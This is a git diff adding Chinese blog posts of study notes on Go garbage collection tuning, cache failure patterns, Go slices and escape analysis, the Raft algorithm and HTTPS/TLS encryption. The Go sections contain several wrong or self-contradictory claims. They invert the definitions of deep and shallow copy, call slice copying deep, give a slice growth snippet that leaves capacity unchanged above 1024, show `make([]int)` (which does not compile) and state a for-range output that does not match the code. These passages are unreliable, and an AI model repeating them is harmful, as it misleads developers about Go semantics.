CPU,使得程序的吞吐量下降; + +如果业务 goroutine 分配堆内存太快,导致 Mark 跟不上 Allocate 的速度,那么业务 goroutine 会被招募去做协助标记,暂停对业务逻辑的执行,这会影响到服务处理请求的耗时。 + +GOGC 在稳态场景下可以很好的工作,但是在瞬态场景下,如定时的缓存失效,定时的流量脉冲,GC 影响会急剧上升。一个典型例子:IO 密集型服务 耗时优化: + +2- GC Mark Prepare、Mark Termination - STW 阶段,这两个阶段虽然按照官方说法时间会很短,但是在实际的线上服务中,有时会在 trace 图中观测到长达十几 ms 的停顿,原因可能为:OS 线程在做内存申请的时候触发内存整理被“卡住”,Go Runtime 无法抢占处于这种情况的 goroutine ,进而阻塞 STW 完成。(内存申请卡住原因:HugePage 配置不合理) + +3- 过于关注 STW 的优化,带来服务吞吐量的下降(高峰期内存分配和 GC 时间的 CPU 占用超过 30% ); + +内存管理包括了内存分配和垃圾回收两个方面,对于 Go 来说,GC 是一个并发 - 标记 - 清除(CMS)算法收集器。但是需要注意一点,Go 在实现 GC 的过程当中,过多地把重心放在了暂停时间——也就是 Stop the World(STW)的时间方面,但是代价是牺牲了 GC 中的其他特性。 + +## 4.优化 + +#### 目标 + +降低 CPU 占用; +降低服务接口延时; + +1- sync.pool +原理: 使用 sync.pool() 缓存对象,减少堆上对象分配数; +sync.pool 是全局对象,读写存在竞争问题,因此在这方面会消耗一定的 CPU,但之所以通常用它优化后 CPU 会有提升,是因为它的对象复用功能对 GC 和内存分配带来的优化,因此 sync.pool 的优化效果取决于锁竞争增加的 CPU 消耗与优化 GC 与内存分配减少的 CPU 消耗这两者的差值; + diff --git a/_posts/2022-11-26-test-markdown.md b/_posts/2022-11-26-test-markdown.md new file mode 100644 index 000000000000..779a09dd5e77 --- /dev/null +++ b/_posts/2022-11-26-test-markdown.md @@ -0,0 +1,407 @@ +--- +layout: post +title: Golang 八股文学习? +subtitle: +tags: [golang] +--- + +# 1.缓存 + +## 缓存击穿/缓存穿透/缓存雪崩 + +> 缓存击穿——本质:热点数据不在缓存。 + +> 缓存穿透——本质:请求的数据既不在缓存也不在数据库。 + +> 缓存雪崩——本质:大量的缓存数据同时过期/Redis 宕机。 + +### 大量的缓存数据同时过期: + +原因: +缓存中的数据都是有过期时间的,数据一旦过期,业务系统重新生成缓存,因此访问数据库,并把数据库的数据更新到缓存中间。在大量数据过期的同时,如果同时收到很多的用户请求,那么这些请求直接打到数据库上,造成数据库宕机。 + +解决: +1-『均匀的给数据设置过期时间』给数据设置随机的、均匀的过期时间。 + +2-『对于想要访问数据库的请求加互斥锁+给锁设置超时』给(访问的数据不在缓存的)请求加互斥锁,使得仅仅只有一个请求来构建缓存。实现互斥锁的时候,最好设置超时时间,不然第一个请求拿到了锁,然后这个请求发生了某种意外而一直阻塞,一直不释放锁,这时其他请求也一直拿不到锁,整个系统就会出现无响应的现象。 + +3-『对缓存数据使用两个 key』一个是主 key,一个是备 key,备用的 key 不会设置过期时间,主 key 和备 key 之间只有 key 不一样,但是 value 是一样的,相当于给缓存的数据做了备份。业务线程访问不到『主 key』的缓存数据就直接返回『备 key』的数据,后续通知后台线程重新构建『主 key』和『备 key』的数据。 + +4- 『业务不更新缓存+后台更新缓存』(如果读取缓存失败就认为是数据丢失。让缓存“永久有效”,并将更新缓存的工作交由后台线程定时更新。事实上,缓存数据不设置有效期,并不是意味着数据一直能在内存里,因为当系统内存紧张的时候,有些缓存数据会被“淘汰”,而在缓存被“淘汰”到下一次后台定时更新缓存的这段时间内,业务线程读取缓存失败就返回空值,业务的视角就以为是数据丢失了。)(后台解决:后台负责不定时的更新缓存,也负责频繁的检测缓存是否有效,如果检测到缓存是效,那么可能是系统紧张被淘汰。于是马上读取数据库数据,更新缓存)(业务解决:如果发现缓存失效,那么就通过消息队列发送消息通知后台更新缓存。后台线程收到消息后,在更新缓存前可以判断缓存是否存在,存在就不执行更新缓存操作;不存在就读取数据库数据,并将数据加载到缓存。这种方式相比第一种方式缓存的更新会更及时,用户体验也比较好。) + +在业务刚上线的时候,我们最好提前把数据缓起来,而不是等待用户访问才来触发缓存构建,这就是所谓的缓存预热,后台更新缓存的机制刚好也适合干这个事情。 + +### Redis 宕机: + +1-『服务熔断』**暂停**业务应用对**缓存服务**的访问,直接返回错误。 +2-『请求限流』**请求量达到一定数值**,对其他的请求直接拒绝服务。等到 Redis 恢复正常并把缓存预热完后,再解除请求限流的机制。 +3-『构建 Redis 集群』**服务熔断或请求限流机制是缓存雪崩发生后的应对方案**,我们最好通过**主从节点的方式**构建 Redis 缓存高可靠集群。 + +## 缓存击穿 + +> 小部分热点数据过期。 +> 我们的业务通常会有几个数据会被频繁地访问,比如秒杀活动,这类被频地访问的数据被称为热点数据。 +> 如果缓存中的某个热点数据过期了,此时大量的请求访问了该热点数据,就无法从缓存中读取,直接访问数据库,数据库很容易就被高并发的请求冲垮,这就是缓存击穿的问题。 + +可以发现缓存击穿跟缓存雪崩很相似,可以认为缓存击穿是缓存雪崩的一个子集。 + +预防措施: + +- 『加互斥锁』保证同一时间只有一个业务线程更新缓存,未能获取互斥锁的请求,要么等待锁释放后重新读取缓存,要么就返回空值或者默认值 +- 『不设置过期时间』由后台异步更新缓存,或者在热点数据准备要过期前,提前通知后台线程更新缓存以及重新设置过期时间; + +补充: +singleflight 能将对同一个资源访问的多个请求合并为一个请求,常见的应用场景比如缓存击穿。具体实现是使用了 map 对同一个资源访问的请求进行去重,使用互斥锁让当个协程进入临界区后进行资源访 +问,其他线程阻塞等待资源访问完后,共同拿到访问资源的结果返回。 + +## 缓存穿透 + +> 本质:访问不存的数据 + +当发生缓存击穿和缓存雪崩数据库还保留着数据,一旦缓存恢复相对应的数据,就可以减轻数据库的压力,而缓存穿透就不一样了。 +当用户访问的数据,既不在缓存也不再数据库,导致请求在访问缓存的时候,发现缓存缺失,然后再去访问数据库,当大量这样的数据到来的时候,数据库的压力就会骤然增加。 + +缓存穿透的发生一般有这两种情况: 1.业务误操作 +缓存中的数据和数据库中的数据都被误删除了,所以导致缓存和数据库中都没有数据; +2-黑客恶意攻击 +故意大量访问某些读取不存在数据的业务; + +应对缓存穿透的方案,常见的方案有三种。 +1-非法请求直接返回。 +非法恶意请求就直接返回错误,避免进一步访问缓存和数据库。 +2-不存在的数据设置空值。 +对于查询的数据,如果缓存中没有这个数据,那么就设置一个空值,后续同样的请求或者同样是访问(数据库和缓存不存在的)请求,就直接返回空值。 +3-布隆过滤器,对请求判断数据是否存在,避免了查询数据库来判断数据是否存在。 +具体是怎么操作?答:对于写入数据库的数据做个标记,然后在用户请求的时候,业务线程确认缓存失败,通过查询布隆过滤器判断数据在数据库是否存在。 +即使发生缓存穿透,大量的请求只会查询 Redis 和布隆过滤器,而不会查询数据库。保证了数据库能正常运行,Redis 自身也是支持布隆过滤器的。 + +那问题来了,布隆过滤器是如何工作的呢?接下来,我介绍下。 + +第一步,使用 N 个哈希函数分别对数据做哈希计算,得到 N 个哈希值; +第二步,将第一步得到的 N 个哈希值对位图数组的长度取模,得到每个哈希值在位图数组的对应位置。 +第三步,将每个哈希值在位图数组的对应位置的值设置为 1; + +在数据库写入数据 x 后,把数据 x 标记在布隆过滤器时,数据 x 会被 3 个哈希函数分别计算出 3 个哈希值,然后在对这 3 个哈希值对 8 取模,假设取模的结果为 1、4、6,然后把位图数组的第 1、4、6 位置的值设置为 1。当应用要查询数据 x 是否数据库时,通过布隆过滤器只要查到位图数组的第 1、4、6 位置的值是否全为 1,只要有一个为 0,就认为数据 x 不在数据库中。布隆过滤器由于是基于哈希函数实现查找的,高效查找的同时存在哈希冲突的可能性,比如数据 x 和数据 y 可能都落在第 1、4、6 位置,而事实上,可能数据库中并不存在数据 y,存在误判的情况。 + +所以,查询布隆过滤器说数据存在,并不一定证明数据库中存在这个数据,但是查询到数据不存在,数据库中一定就不存在这个数据。 + +# 2.并发 + +## Channel+goroutine + +### 通过共享内存来通信 + +本质:多个线程,共享一个变量,通过各自都对这个变量加锁,来宣布自己占有使用它,通过释放锁来宣布不再使用它。 + +### 通过通信来共享内存 + +本质: +1- Channel 的使用会把使用者分为生产者和消费者 +2- Channel 的本质是一个**有锁的环型队列**,包括发送方队列,接收方队列,互斥锁等结构。 +3- Channel 的设计原则是:先向 Channel 发送数据 goroutine 先得到发送数据的权限,先从 Channel 接收数据 goroutine 先得到数据 + +## Select + +select 中的 case 中表达式必须是 channel 的收发操作,当 Select 中间的两个 case 同时被触发的时候,随机的执行其中的一个,随机的执行是为了避免饥饿的问题,如果每次都是按照顺序执行的,那么后面的语句就永远都不会被执行。select 的 default 语句是当不存在可以收发的 channel 的时候,执行 default 语句。 + +## 对已经关闭的 chan 进行读写,会怎么样? + +已经关闭的 chan 能一直读东西,读到的内容根据通道内关闭前是否有元素而不同。 +1- 如果 chan 关闭前,buffer 内有元素还未读,会正确读到 chan 值,且返回的第二个 bool 值为 true +2- 如果 chan 关闭前, buffer 内有元素已经被读完, chan 内无值,接下来所有接收的值都会非阻 +塞直接成功,返回 channel 元素的零值,但是第二个 bool 值一直为 false 。 +3- 写已经关闭的 chan 会 panic + +# 3.golang 基础 + +## 切片和数组 + +1- golang 的数组是固定长度的,切片的本质是一个结构体,其中包含一个指针,这个指针指向底层的数组。 +2- 拷贝大切片和小切片本质都是拷贝各自底层数组的指针,不同的是大切片的 len 比小切片的 len 大一点。 +3- golang 只有值传递 + +## 深拷贝和浅拷贝 + +1- 使用`=`拷贝切片,是浅拷贝。 +2- 使用[:]下标的方式复制切片也是浅拷贝。 +3- 使用内置函数 copy 的方式进行切片拷贝,这种是深拷贝。 + +深浅拷贝都是进行复制,区别在于复制出来的新对象与原来的对象在它们发生改变时,是否会相互影响,本质区别就是复制出来的对象与原对象是否会指向同一个地址。 +浅拷贝,复制出来的新的对象和原来的对象,没有关系,指向的底层数组是新的一块内存。深拷贝是指向同一块内存。 + +## 零切片,空切片,nil 切片。 + +1- 零切片,make([]int,10) 容量不为 0,长度不为 0,这个就是零值切片。『一个长度不为 0,容量不为 0,但是每个元素都是 nil 』 +零切片:我们把切片内部数组的元素都是零值或者底层数组的内容全是 nil 的切片叫做零切片,使用 MAKE 创建的长度、容量都不为 0 的切片就是零值切片; +『零切片被分配了内存,且 len cap 不为 0』 + +2- 空切片 +make([]int)容量和长度为 0,但是数据指针指向一个地址为 0xc42003BDA0 +array := []int{} +『空切片被分配了内存,但是内存数据指针指向的内存地址是固定的,既所有的空切片的数据指针都指向同一个地址,且 len 和 cap 为 0,』 + +3- nil 切片 +var array []int +『nil 切片没有被分配内存』 + +```go +func Run() { + var array1 []int + fmt.Println(array1 == nil) + array2 := []int{} + fmt.Println(array2 == nil) + fmt.Println(array2) + array3 := new([]int) + fmt.Println(array3 == nil) + fmt.Println(array3) +} +``` + +## 切片的扩容策略 + +策略:当原切片容量小于 1024 的时候,新切片容量按照原来的 2 倍进行扩容,原 slice 容量超过 1024 的时候,新 slice 容量变成原来的 1.25 倍 +实际如果经过内存对齐: +切片在扩容时会进行内存对齐,这个和内存分配策略有关,进行内存对齐后切片扩容的容量要大于等于 +旧的切片容量的 2 倍或者 1.25 倍。 + +## 参数传递切片和切片指针有什么区别? + +参数传递『切片』是『把被传递的切片的副本传进去』,对副本的赋值不会影响原来的切片,对副本的某个具体的元素的改变,影响到原切片 +参数传递『切片指针』是『把被传递的切片指针的副本传进去』虽然传进去的也是副本,但是因为是指针,根据这个指针副本也能找到原来的切片,从而对切片进行更改。 +本质: `array[0] = 1`这个操作没有影响切片底层数组的起始指针,但是 array = append(array, 4),相当于是更改了副本切片底层的数组的起始指针。使得切片和切片副本底层数组的指针不同。 + +```go +func Run() { + array := make([]int, 4) + array[0] = 0 + array[1] = 1 + array[2] = 2 + array[3] = 3 + Change(array) + fmt.Println(array) +} + +func Change(array []int) { + array[0] = 1 +} +// 结果:[1 1 2 3] +``` + +```go +func Run() { + array := make([]int, 4) + array[0] = 0 + array[1] = 1 + array[2] = 2 + array[3] = 3 + AppendChange(array) + fmt.Println(array) + +} + +func AppendChange(array []int) { + array = append(array, 4) +} +// 结果[0 1 2 3] +``` + +```go +func Run() { + array := make([]int, 4) + array[0] = 0 + array[1] = 1 + array[2] = 2 + array[3] = 3 + AppendChangeAndChange(array) + fmt.Println(array) + +} +func AppendChangeAndChange(array []int) { + array[0] = 1 + array = append(array, 4) +} +// 结果[1 1 2 3] +``` + +## for range 遍历切片有什么要注意的吗? + +```go +func Run() { + array := make([]int, 4) + array[0] = 0 + array[1] = 1 + array[2] = 2 + array[3] = 3 + for k, v := range array { + if k == 0 { + array = append(array, 4) + } + if k==1{ + array[2]=7 + } + fmt.Println(v) + } + fmt.Println(array) +} + +/* + +results are +0 +1 +2 +3 +[0 1 2 3 4] */ +``` + +## 数组和切片的面试总结和性能提升点 + +『1』 + +```go +func main() { + nums1 := [3]int{1, 2, 3} + nums2 := nums1 + nums2[0] = 10 + fmt.Println(nums1[0]) + nums3 := []int{1, 2, 3} + nums4 := nums3 + nums4[0] = 10 + fmt.Println(nums3[0]) +} +// 1 10 +``` + +因为 nums1 和 nums3 的数据类型是不同的,nums1 的数据类型为数组,而 nums3 的数据类型是切片。 +同样是用等号进行赋值,对于数组来说进行的是深拷贝(值拷贝),而切片则是浅拷贝(指针拷贝)。因此对 nums2 的赋值改变的是 nums2 地址空间的值,而对 nums4 的赋值修改的是 nums3 和 nums4 共用的内存地址。 + +『2』那能说说容量 cap 和长度 len 的区别是什么吗? +容量 cap 是指为该切片准备了 cap 大小的内存空间,当切片中的数据数量不超过 cap 时,切片是不需要进行扩容的。而长度 len 表示的是切片中元素数量有 len 个,主要应用于切片的初始化。 +例如下面这段代码,slice1 在赋值时是会报错的,只能通过 append 添加元素,而 slice2 是可以成功赋值的,通过 append 向 slice2 添加加元素时从 slice2[1]开始赋值。 + +『3』Array 和 Slice 的扩容? +扩容策略 +超超:数组作为基本数据类型,数组的长度也是类型的一部分,所以数组每次扩容都需要新建一个数组做值拷贝 + +切片作为包装类型,如果在切片中添加元素后,切片长度未超过 cap,只需在 slice.array 指向的内存区域进行赋值。如果切片长度超过了容量 cap,扩容需要修改 slice.array 指向的内存大小,再进行值拷贝,扩容函数同样定义在 runtime.slice.go 中。 +**往数组添加元素都需要新的内存,把旧数据复制过去,往切片添加元素只要不超过 cap,就只是在 slice.array 所指的区域添加元素,如果超过需要修改 slice.array 的指向。** +**数组的等号是浅拷贝,切片的拷贝是深拷贝** +**切片是两个阀值判断** + +```go +var newcap int +if needcap > 2*old.cap{ + newcap=needcap +}else{ + if old.cap<1024{ + newcap=2*old.cap + }else{ + newcap=old.cap + + } +} +``` + +『4』在实际开发中,注意过切片的使用技巧吗? +**切片和数组的选择**:正如前面说的数组是基本数据类型,而切片是包装类型通过 slice.array 指针进行寻址,多了一个二次寻址的过程。因此在明确数列的长度不会变化时,我会优先选择数组而不是切片。用 Benchmark 测一下。 + +```shell +BenchmarkArrayGet-8 1000000000 0.282 ns/op 0 B/op +BenchmarkSliceGet-8 1000000000 0.420 ns/op 0 B/op +``` + +**切片容量**:切片在扩容时如果需要重新申请内存空间做值拷贝,将会非常耗时,这也是容量 cap 存在的意义。所以在声明切片时,尽可能的预见切片所需的大小并赋给 cap,避免切片的扩容。 + +```go +func NewSlice() []int { + slice := make([]int, 0, 10) + for i := 0; i < 10; i++ { + slice = append(slice, i) + } + return slice +} +``` + +**从大切片拷贝一小部分数据到小切片的时候,不要用等号,要用 copy** +因为内存块还存在外部引用时,该内存将会无法释放。小切片和大切片如果指向相同的内存,小切片一直被使用,但是大切片不怎么使用,但是大切片因为小切片的应用而得不到释放。 + +## make 和 new 的区别? + +```go +slice := make([]int,10) +ch :=make(chan interface,7) +tempmap := make(map[int]string) +``` + +## 内存逃逸 + +> 内存逃逸是指原本应该被存储在栈上的变量,因为一些原因被存储到了堆上。 + +栈区:主要存储函数的入参、局部变量、出参当中的**资源由编译器控制申请和释放**。 +C++中堆区的空间是需要程序员自己通过关键字 new 和 delete 手动释放的 +c 语言需要 malloc 函数去堆上申请内存,然后使用完了,用 free 释放 +内存空间有两大部分,堆和栈,但是有些函数我们并不想他们在函数运行结束后销毁,那么我们就需要吧变量放在堆上分配,这种从内存中间栈上逃逸到内存中间的堆上的现象就是内存逃逸。 + +Go 语言中由编译器决定对象真正存储位置,如果使用关键字 new 申请的对象还会被存储到栈上吗? +答:Go 由编译器决定对象真正存储的位置。即使是用 new 申请的内存,如果编译器发现 new 出来的内存在函数结束后就没有使用了且申请内存空间不是很大,那么 new 申请的内存空间还是会被分配在栈上,毕竟栈访问速度更快且易于管理。 +**如果编译器发现 new 申请的内存在函数结束后没有被使用,那么就会分配在栈上** + +```shell +使用逃逸分析命令go build -gcflags="-m" main.go +``` + +### 内存逃逸常见情景 + +第一种情况变量在函数外部没有引用,优先放到栈中。最典型的例子就是刚刚说的new的内存分配问题,当new的内存空间没有被外部引用,且申请的内存不是很大时就会被放在栈上而不是堆上. + +go 语言的逃逸分析是——引入 GC 来管理堆上的对象,当堆上的某个对象不可以达的时候,就回收它。具体做法是:时标记清除算法的基础+三色标记法+写屏障技术 + +最新的 go 版本的原理: + +- 指向栈对象的指针不能存储在堆上 + +返回局部变量的指针:当一个函数返回局部变量的指针时,该变量会从栈逃逸到堆。 + +```go +func foo() *int { + x := 1 + return &x +} +``` + +将局部变量存储到全局变量中:局部变量赋值给全局变量或者数据结构,会导致内存逃逸。 + +```go +var global *int + +func bar() { + x := 1 + global = &x +} +``` +闭包引用:如果一个闭包引用了一个局部变量,该变量会逃逸到堆上。 + +```go +func closure() func() int { + x := 1 + return func() int { + return x + } +} +``` +动态类型:使用interface{}或反射可能导致内存逃逸,因为编译器很难确定具体的类型和生命周期。 + +通过通道传递指针:将局部变量的指针通过channel传递给其他goroutine。 + +```go +ch := make(chan *int) + +func send() { + x := 1 + ch <- &x +} +``` +切片和map的操作:对切片进行append操作或者向map添加元素,有时也会导致内存逃逸。 + + + diff --git a/_posts/2022-12-29-test-markdown.md b/_posts/2022-12-29-test-markdown.md new file mode 100644 index 000000000000..dd8bd0a3b0ba --- /dev/null +++ b/_posts/2022-12-29-test-markdown.md @@ -0,0 +1,287 @@ +--- +layout: post +title: Raft算法!!! +subtitle: +tags: [golang] +--- + +# 1.分布式 Raft 算法 + +有的服务器因为崩溃变得不可以使用,那么就无法与其他的服务器达成一致,只要超过半数的服务器达成一致就可以了,假设有 N 台服务器,N/2+1 就超过半数,就代表大多数了,参选者需要说服大多数的选民(服务器)投票给他,一旦选举后旧跟随其操作。 +在 Raft 中,任何一个服务器都可以扮演一下的角色: + +- Leader 领导者 ,处理和客户端的交互,日志复制,一般只有一个 Leader +- Follower:类似选民,完全被动 +- Candidate 候选人,类似律师,可以被选为一个新的领导者 + +Raft 的两个过程: + +阶段一**Leader Election**: + +1. 任何一个服务器都可以成为一个候选者,向其他的服务器发出选举自己的请求.(当 Follower 没有听到 Leader 的声音。) +2. 其他的服务器同意了,发出 OK(只要候选人的数量达到 N/2+1)候选人还是可以成为 Leader + +阶段二: + +1.成为领导者的服务器可以向选民们发出指令,所有的更改变成日志条目添加到(所有的系统的更改都要经过领导者。每个更改都作为一个条目添加到节点的日志中,但是日志条目当前未提交,因此不会更新节点的值。) + +2.然后领导者等待,直到大多数节点都把更改作为日志条目写入日志。(一旦大多数追随者承认,那么条目就会先被领导者提交,领导者返回响应给客户端,如果 无法被多数承认,因此领导者的日志条目保持未提交状态。) + +3.更改的日志条目在领导者提交。 + +4.领导者通知追随者提交该条目已。 + +5.集群现在就达到了一致性的状态。 + +## 1.1 Raft 的领导人选举 + +Raft 有两个超时设置来控制选举。 + +### 1.1.1 选举超时 + +1-选举超时是`追随者`等待成为`候选人`的时间。选举超时随机在 150 毫秒到 300 毫秒之间。 +2-每个追随者在选举超时后就成为了候选人‘选举超时后,跟随者成为候选人并开始新的选举任期。 +3-为自己投票并且向其他节点请求投票消息。 +4-接收节点在这个任期内没有投票,那么将投票给候选人。 +5-重置选举超时 +6-一旦候选人获得多数票,它就成为领导者 +7-领导者按照`心跳超时`指定的时间间隔向其追随者发送附加条目消息, +8-追随者然后响应每个附加条目消息。 +9-这个选举任期将一直持续到跟随者停止接收心跳并成为候选人为止。 + +需要注意的是: +一旦 Leader 崩溃,那么 Follower 就会有一个人成为候选者,发出选举的要求。 +整个过程有一个时间的限制,如果 +两个选举者同时向大家邀票,那么两个候选者在一段时间内等待以后,再由两个候选者发起邀票,首先发起邀票的候选者得到大多数的票,那么另外一个候选者只能沦为 Follower + +### 1.1.2 日志复制 + +1.假设领导者已经选出,这个时候客户端发出一个增加日志请求的要求,日志是:'sally' + +2.领导者要求 Follower 服从他的命令,都将这个新的日志追加到他们各自的日志当中 + +3.大多数的 Follower 服务器把日志写入磁盘文件确认追加成功,发出`Commited Ok` + +4.在下一个心跳 heartbeat 中,Leader 会通知所有 Follwer 更新 commited 项目。 + +如果发生故障? + +LeaderA 和有些 Follower 断开连接,这个时候那些断开连接的 Follower 会重新选举新的 LeaderB ,当故障修复以后,LeaderA 变成 Follower ,那么他在失联阶段任何的 Commit 都不算 Commit ,都回滚,接受新的 Leader 的新的更新。 + +# 2.Http 和 Https + +HTTPS 会对 HTTP 请求和响应进行加密。例如,拦截攻击者只能看到随机字符,而不是信用卡详细信息。 +**攻击者只能看到被加密随机的字符** + +- Https 主要依靠 TLS(传输层安全)加密来保护连接。 +- SSL /TSL 他们都是同样的证书 +- TSL 主要是由证书颁发机构 CA 颁发。CA 的作用是成为客户端-服务端关系中受信任的第三方,基本上任何人都可以颁发 TLS 证书,但是浏览器仅支持公共信任的 CA。 + +## 2.1 前端对数据的加密:MD5 MessageDigest Algorithm 信息摘要算法 + +前端把密码通过 MD5 进行处理,并把得到的哈希数值发送给后端的服务,服务器由于无法复原密码,就会直接用哈希数值处理用户的请求,第三方获取到这个 H 哈希值后可以绕开前端登陆直接访问服务器,造成安全问题。 +真正的加密——使用加密算法 使用混合加密算法——对陈加密和非对称加密 + +### 2.1.1 对称加密加密 + +对称加密加密和解秘用的都是同一个密钥,常见的对称加密算法有 DES、3DES、和 AES 等 + +- 加密和解密双方都需要使用相同的密钥,在传输密钥的过程中无法保证不被截获。 +- 用户每次使用对称加密算法的时候,都需要使用其他人不知道的唯一的密钥,这会使得收发信件双方拥有的钥匙数量急剧增加,`密钥管理`成为双发的负担。 +- 对称加密算法在分布式网络中间使用比较困难,主要是密钥管理的成本比较高 + +### 2.1.2 非对称加密 + +非对称加密:公钥对数据加密,私钥对数据解密。 私钥对数据加密,公钥对数据解密。 + +甲:生成两个密钥,这两个密钥,一个把数据加密后另外一个可以还原。那么甲决定把两个钥匙中间的一个作为公钥,并把这个公钥给乙方,乙拿着公钥去加密,现在是甲持有两把钥匙,所以,乙用和甲一样的公钥加密完的数据,甲可以拿着私钥去还原数据。 + +- 加密解密使用不同的钥匙,私钥只有自己有,不需要通过网络进行传输,安全性很高。 + +所以具体的做法是: + +```text +甲(公钥 A、私钥 B) ------ 公钥 A----------------------------> (乙) +甲(公钥 A、私钥 B) <------Key(随机码,且被公钥 A 加密过)-- ------(乙)『公钥 A,随机码 Key』 + +``` + +甲的状态: +甲(公钥 A、私钥 B、Key(随机码,且被私钥 B 还原)) +乙的状态: +(乙)(公钥 A,随机码 Key) + +然后双方接就可以使用对称加密来安全的传输数据。 +HTTP HTTPS +TCP TSL/SSL +IP TCP + +HTTPS = HTTP + SSL / TLS。 + +## 2.2 HTTPS 的整个通信过程的两大阶段 + +### 2.2.1 证书验证阶段 + +- 客户端请求 HTTPS 网址,然后连接到 server 的 443 端口 (HTTPS 默认端口,类似于 HTTP 的 80 端口 +- 采用 Https 的服务器必须有一套数字 CA 证书,颁发证书的时候产生一个私钥和公钥,私钥由服务端自己保存,公钥则附带在证书的信息中,可以公开被访问,证书也附带一个电子签名,这个签名用来验证证书的完整性和真实性,防止证书被篡改。 +- 服务端口把证书传递给客户端。 +- 客户端对证书进行验证并解析,如果证书是不可信机构颁布的、证书已经过期、证书的域名和实际域名不一致,向访问者显示一个警告。 +- 证书可靠,那么客户端从浏览器取出服务器的公钥 A +- 客户端生成随机码 KEY,然后用公钥 A 把 KEY 加密后发送给服务器 +- 服务器使用私钥解密 KEY。 +- 现在客户端和服务端都有 KEY,客户端的 KEY 是客户端自己生成的,服务端的 KEY 是通过解密得到的,并且客户端发给服务端的 KEY 只有服务端可以解密。 + +## 2.3 HTTPS 和 HTTP 的区别? + +- HTTPS=HTTP+(TLS/SSL) +- HTTPs 在 443 端口 +- Https 需要先向 CA 申请证书 +- HTTP 的响应速度更快 +- HTTP 在 80 端口 +- HTTP 明文传输 + +## 2.4 TLS 和 SSL 的区别? + +> 为了保证网络通信的安全性,需要对网络上传递的数据进行加密。现在主流的加密方法就是 SSL (Secure Socket Layer),TLS (Transport Layer Security)。 + +### 中间人攻击 + +随着时代的发展,渐渐的有了一类人---C。C 不仅会监听 A 和 B 之间的网络数据,还会拦截 A 和 B 之间的数据,伪造之后再发给 A 或者 B,进而欺骗 A 和 B。C 就是中间人攻击(Man In The Middle Attack)。 + +为了应对 C 的攻击,A 和 B 开始对自己的数据进行加密。A 和 B 会使用一个共享的密钥,A 在发送数据之前,用这个密钥对数据加密。B 在收到数据之后,用这个密钥对数据解密。因为加密解密用的是同一个密钥,所以这里的加密算法称为对称加密算法。 + +在 1981 年,DES(Data Encryption Standard)被提出,这是一种对称加密算法。DES 使用一个 56bit 的密钥,来完成数据的加解密。尽管 56bit 看起来有点短,但时间毕竟是在上古时代,56bit 已经够用了。就这样,网络数据的加密开始了。 + +因为采用了 DES,A 和 B 现在不用担心数据被 C 拦截了。因为就算 C 拦截了,也只能获取加密之后的数据, 没有密钥就没有办法获取原始数据。 + +但是 A 和 B 之间又有了一个新的问题,他们需要一个共享的 56bit 密钥,并且这个密钥一定要保持私密,否则被 C 拿到了,就没有加密的意义了。首先 AB 不能通过网络来传递密钥,因为**密钥确定以前,所有的网络通信都是不安全**。如果**通过网络传递密钥,密钥有可能被拦截。**。拦截了就没有加密的意义了。**为了安全,A 和 B 只能先见一面,私下商量好密钥**,这样 C 就没办法获取密钥。如果因为任何原因,之前的密钥泄露了,那么 AB 还得再见一面,重新商量一个密钥。 + +A 和 B 小心的保护着密钥,不让 C 知道。但是道高一尺,魔高一丈。随着技术的发展,计算机速度变得很快,快到可以通过暴力破解的方法来解密经过 DES 加密的信息。不就是 56bit 的密钥吗?C 找了一个好点的计算机,尝试每一个可能的值,这样总能找到一个密钥破解 A 和 B 之间的加密信息。倒不是说 DES 在提出时没有考虑过这种情况,只是在上古时代,计算机没这么快,破解 56bit 的密钥需要的时间非常长。但是现在是中古时代,可能只需要几天就可以破解 56bit 的密钥。 + +为了应对这个情况,新的协议被提出,例如 triple-DES(最长 168bit 的密钥),AES(最高 256bit 的密钥)。经过这些改进,至少在可以预见的未来,计算机是没有办法在有限的时间内,暴力破解这个长度的密钥。所以,在中古时代,将对称加密算法的密钥长度变长,来应对中间人攻击。但是 A 和 B 还是需要见面商量一个密钥。 + +时间到了现代。网络通信变得十分发达,A 不只与 B 通信,还同时还跟其他 10000 个人进行网络通信。A 不可能每个人都跑去跟他们见个面,商量一个密钥。 + +所以一种新的加密算法被提出,这就是非对称加密算法。非对称加密使用两个密钥,一个是 public key,一个是 private key。通过一个特殊的数学算法,使得数据的加密和解密使用不同的密钥。因为用的是不同的密钥,所以称为非对称加密。但是,非对称加密算法里面的 public key 和 private key 在数学上是相关的,这样才能用一个加密,用另一个解密。但是,虽然相关,但是不可能凭借公钥来推算出私钥.**公钥+私钥甲民**.非对称加密最著名的是 RSA 算法. + +> 因此,如果小明要加密一个文件发送给小红,他应该首先向小红索取她的公钥,然后,他用小红的公钥加密,把加密文件发送给小红,此文件只能由小红的私钥解开,因为小红的私钥在她自己手里,所以,除了小红,没有任何人能解开此文件。客户端向服务端索取公钥匙,然后用公钥加密数据,然后把数据发给服务器. + +非对称加密的好处在于,现在**A 可以保留 private key**,通过**网络传递 public key**.就算 public key 被 C 拦截了,因为没有 private key,C 还是没有办法完成信息的破解。既然**不怕 C 知道 public key**,**也不怕 C 通过公钥算出私钥**.那现在 A 和 B 不用再见面商量密钥,直接通过网络传递 public key 就行。 + +### 2.4.1 SSL(Secure Socket Layer) + +- SSL 介于 HTTP 和 TCP 层之间 +- 为 Netspace 所研发,用来保障 INTERNET 上数据传输的安全,利用数据加密技术。确保数据在网络传输的过程中间不会被窃取。用于 WEB 浏览器和服务器之间的身份认证和加密传输。 +- SSL 分为两层= SSL 记录协议(建立在 TCP 之上、为高层的数据提供数据封装、压缩、加密)+SSL 握手协议(建立在 SSL 记录协议之上,用来在实际的数据开始传输之前,通讯双方的身份验证、协商加密算法、交换加密密钥等等) + **客户端和服务端身份验证(确保数据发送到正确的客户端和服务端)、协商加密算法(加密数据,防止数据中途被盗取)、交换加密密钥** + +### 2.4.2 TLS(Transport Layer Security) + +- TLS 是 SSL 的后续版,写入流 RFC +- TLS = TLS (记录协议)+TLS (握手协议) + +TLS 有两层: 一层是 HandShark Protocol 另外一层是 Record Protocol 。 +HandShark 通信双方利用它来安全的协商出一份密钥。具体过程是:**客户端告知服务端,自己支持哪些加密算法,客户端把自己本地支持的加密套件(Cipher Suite)传送给服务端,客户端还要自己随机产生一个随机数字。** + +Record Protocol 则定义了传输的格式。 +非对称加密用来密钥交换,双方通过公钥算法协商出来一份密钥,在 TLS 协议传输过程中必须使用同一套加解密算法才能保证数据能够正常的加解密。对称加密用来通信,当然,为了保证数据的完整性,在加密前要先经过 HMAC 的处理。 + +综合所述:客户端需要给服务端提供的信息有: + +- 自己支持的加密算法,比如 RSA 公钥加密。以及(Cipher Suite)加密套件的列表传输给服务端。 +- 客户端产生的随机数。 